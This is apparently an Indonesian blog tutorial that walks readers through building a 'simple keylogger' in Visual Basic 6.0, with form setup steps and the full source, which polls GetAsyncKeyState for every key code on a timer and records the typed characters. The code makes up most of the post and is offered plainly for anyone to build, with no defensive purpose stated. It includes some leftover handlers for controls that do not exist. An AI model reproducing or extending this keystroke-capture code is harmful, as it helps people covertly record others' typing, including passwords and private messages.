Bahan :
- Visual Basic 6.0 ( yang blm punya cari aja di google banyak :D )
Tutorial :
- 4 buah CommandButton & 1 Timer
- terus caption nya ganti , jadi seperti ini :
CommandButton1 : Start
CommandButton2 : Stop
CommandButton3 : Clear
CommandButton4 : Exit
inget ya gan ganti namanya di "Caption" bukan di NAME
- Tambah 1 timer dengan Interval 100
dan jangan lupa masukkan TextBox untuk melihat tulisan yang di catat keyboard
terus ntar di form 1 klik kanan view code terus paste code2 di bawah :
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
End Sub
Private Sub Command3_Click()
Text1.Text = ""
End Sub
Private Sub Command4_Click()
End
End Sub
Private Sub Form_Load()
Timer1.Interval = 1
End Sub
Private Sub Frame1_DragDrop(Source As Control, X As Single, Y As Single)
End
End Sub
Private Sub Text2_Change()
End
End Sub
Private Sub Timer1_Timer()
For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
Text1.Text = Text1.Text + Chr(i)
End If
Next i
End Sub
- Habis itu Klik file , make A File Project.exe
Jadi dah keylogger sederhana buatan kamu :D
0 comments:
Post a Comment
Jangan membuat kata-kata yang tidak baik, karena dapat menimbulkan Spam